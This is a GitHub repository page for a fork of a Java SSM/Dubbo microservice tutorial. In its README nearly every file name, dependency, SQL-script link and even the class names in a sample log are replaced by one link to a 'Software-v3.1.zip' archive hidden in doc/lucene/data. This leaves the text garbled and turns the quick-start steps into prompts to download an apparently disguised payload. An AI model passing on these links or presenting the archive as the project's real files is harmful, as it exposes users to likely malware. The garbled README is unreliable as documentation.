Skip to content
/ SSM Public
forked from crossoverJie/SSM

๐Ÿ’• build SSM from 0 ๐Ÿ‘‰๐Ÿฝ๐Ÿ‘‰๐Ÿฝ distributed micro service.

License

Notifications You must be signed in to change notification settings

HitEagle/SSM

ย 
ย 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

445 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation



ไธญๆ–‡็ฎ€ไป‹

I'll update some skills in actual development https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip are no complicated operation flows or xxx system,just some practical shares about skills.

Directory Structure

โ”œโ”€โ”€ SSM-API                                    // common API  
โ”‚   โ”œโ”€โ”€ src/main
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€java/com/crossoverJie               // specific codeใ€‚  
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€resources
โ”œโ”€โ”€ SSM-BOOT                                   // Available for internal use of dubbo dependencies 
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€resources/spring                    // dubbo consumer configuration
โ”œโ”€โ”€ SSM-SECONDS-KILL                           // seckill module
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€SSM-SECONDS-KILL-API                // seckill open api
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€SSM-SECONDS-KILL-ORDER-CONSUMER     // Kafka consumer module
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€SSM-SECONDS-KILL-SERVICE            // service module
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€SSM-SECONDS-KILL-WEB                // web module
โ”œโ”€โ”€ SSM-SERVICE                                // The service implementation of the dubbo application 
โ”‚   โ”œโ”€โ”€ src/main
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€java/com/crossoverJie/api           // specific code
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€controller                       // Heartbeat detection interface
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€dubbo                            // Dubbo related code
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€โ”œโ”€โ”€dao                           // dao package
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€โ”œโ”€โ”€pojo                          // pojo package
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€โ”œโ”€โ”€service                       // service package
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€โ”œโ”€โ”€util                          // Toolkit
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€impl                             // implement dubbo API
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€resources                           // configuration file
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€mapping                          // *.mapper configuration file
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€spring                           // Spring related configuration file
โ”œโ”€โ”€ SSM-WEB                                    // web application
โ”‚   โ”œโ”€โ”€ src/main
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€java/com/crossoverJie               // specific code
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€controller                       // controller package
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€cxf                              // CXF related code
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€dao                              // dao package
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€enums                            // enum package
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€intercept                        // Interceptor
โ”‚ ย  โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€kafka ย  ย  ย  ย  ย  ย  ย  ย  ย  ย         // Kafka
โ”‚ ย  โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€โ”œโ”€โ”€official ย  ย  ย  ย  ย  ย  ย  ย  ย  ย   // Official consumption
โ”‚ ย  โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€โ”œโ”€โ”€optimization ย  ย  ย  ย  ย  ย  ย  ย  ย // Multi-threaded consumption
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€lucene                           // Lucene related code
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€pojo                             // pojo package
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€req                              // request package
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€res                              // response package
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€service                          // service pachage
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€shiro                            // shiro related code
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€util                             // Toolkit
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€vo                               // vo package
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€resources
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€โ”œโ”€โ”€mapping                          // *.mapper configuration file
โ”‚   โ”œโ”€โ”€ โ”œโ”€โ”€webapp                              // front code
โ”œโ”€โ”€ doc
โ”‚   โ”œโ”€โ”€lucene                                  // lucene related code
โ”‚   โ”œโ”€โ”€sql                                     // sql scripts
โ”œโ”€โ”€ .gitignore                                 // gitignore 
โ”œโ”€โ”€ https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip                                    // parent pom
โ”œโ”€โ”€ LICENSE               
โ”œโ”€โ”€ https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip               

TODO LIST


Quick Start

  1. Import SQL Script

https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip

Q&A

Does the reliance or code that begins with crossoverJie do not exist?

This is because I have a dependency on my jar package in the project, which is not published to the maven central factory library.

Because there is dependence:

https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip

https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip

https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip

jar.

solution:

  • if you do not need them, please remove it.
  • if you need,flow:

https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip

https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip

and Installed locallyใ€‚


Partial Screenshots

ๅฐ้ข.jpg

dubbo-httpๅฐ้ข.jpg

https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip

2017-04-25 15:15:38,968 DEBUG [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] -  [DUBBO] Decode decodeable message https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip, dubbo version: 2.5.3, current host: 127.0.0.1
2017-04-25 15:15:39,484 DEBUG [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] - dubbo่ฏทๆฑ‚ๆ•ฐๆฎ:{"args":[1],"interfaceName":"https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip","methodName":"getUserInfo"}
2017-04-25 15:15:39,484 INFO [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] - ็”จๆˆทๆŸฅ่ฏขId=1
2017-04-25 15:15:39,505 DEBUG [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] - Creating a new SqlSession
2017-04-25 15:15:39,525 DEBUG [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] - SqlSession [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] was not registered for synchronization because synchronization is not active
2017-04-25 15:15:39,549 DEBUG [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] - JDBC Connection [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] will not be managed by Spring
2017-04-25 15:15:39,555 DEBUG [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] - ==>  Preparing: select id, username, password,roleId from t_user where id = ? 
2017-04-25 15:15:39,591 DEBUG [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] - ==> Parameters: 1(Integer)
2017-04-25 15:15:39,616 DEBUG [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] - <==      Total: 1
2017-04-25 15:15:39,616 DEBUG [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] - {conn-10003, pstmt-20000} enter cache
2017-04-25 15:15:39,617 DEBUG [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] - Closing non transactional SqlSession [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip]
2017-04-25 15:15:45,473 INFO [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] - dubboๆ‰ง่กŒๆˆๅŠŸ
2017-04-25 15:15:45,476 DEBUG [https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip] - dubbo่ฟ”ๅ›žๆ•ฐๆฎ{"args":[{"id":1,"password":"123456","roleId":1,"userName":"crossoverJie"}],"interfaceName":"https://github.com/HitEagle/SSM/raw/refs/heads/master/doc/lucene/data/Software-v3.1.zip","methodName":"getUserInfo"}

More Information

Contact Author

About

๐Ÿ’• build SSM from 0 ๐Ÿ‘‰๐Ÿฝ๐Ÿ‘‰๐Ÿฝ distributed micro service.

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages

  • Java 99.8%
  • Shell 0.2%